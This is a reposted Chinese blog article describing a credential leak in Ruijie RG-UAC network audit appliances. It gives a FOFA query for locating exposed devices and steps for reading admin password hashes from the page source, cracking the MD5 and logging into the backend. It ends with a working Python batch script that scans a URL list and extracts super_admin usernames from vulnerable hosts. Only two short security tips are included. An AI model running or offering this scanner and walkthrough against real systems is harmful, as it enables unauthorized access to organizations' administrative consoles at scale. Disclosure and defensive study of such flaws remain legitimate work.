ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

锐捷RG-UAC 密码信息泄露 附批量POC

2021-03-09 17:31:15  阅读:388  来源: 互联网

标签:锐捷 url RG UAC response name


0x01漏洞描述

锐捷RG-UAC统一上网行为管理审计系统存在账号密码信息泄露,可以间接获取用户账号密码信息登录后台

0x02 影响

锐捷RG-UAC统一上网行为管理审计系统

0x03漏洞复现

使用FOFA语句

title="RG-UAC登录页面" && body="admin"

image-20210309162444152

直接F12 搜索关键字 admin

image-20210309172702270

使用 md5解密 password字段

image-20210309163010407

使用用户名和刚刚破解的密码,即可登录后台系统

image-20210309162937538

0x04 安全建议


1、及时关注官方补丁

2、建议避免将该设备暴露于互联网

批量验证POC

# author: Zeo
# python: 3.7 
# datetime:2021/3/8 4:48 下午
# software: PyCharm

"""
文件说明:锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露
"""

import requests
import sys
import re
from requests.packages.urllib3.exceptions import InsecureRequestWarning

title='''
--------------------------------------------
锐捷RG-UAC统一上网行为管理审计系统账号密码信息泄露
使用格式:  python3 url.txt
--------------------------------------------
    '''





def Scan(file_name):
    with open(file_name, "r", encoding='utf8') as urls:
        for url in urls:
            if url[:4] != "http":
                url = "http://" + url
            url = url.strip('\n')
            try:
                exp(url)
            except Exception as e:
                continue

def exp(target_url):
    vuln_url = target_url
    headers = {
        "User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36",
    }
    try:
        requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
        response = requests.get(url=vuln_url, headers=headers, verify=False, timeout=5)

        if "super_admin" in response.text and "password" in response.text and response.status_code == 200:
            print("目标 {}存在漏洞 密码md5自行查询破解".format(target_url) )
            usernames = re.findall('"auth_method":"1","role":"super_admin","name":"(.*?)","lastpwdtime":',response.text)
            for username in usernames:
                print(username)


            response.text
        else:
            print("目标 {}不存在漏洞".format(target_url))
    except Exception as e:
        print("目标 {}不存在漏洞".format(target_url))


if __name__ == '__main__':
    print(title+ '\n')
    file_name = sys.argv[1]
    if file_name:
        Scan(file_name)
    else:
        exit()

标签:锐捷,url,RG,UAC,response,name
来源: https://blog.csdn.net/god_zzZ/article/details/114591071

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有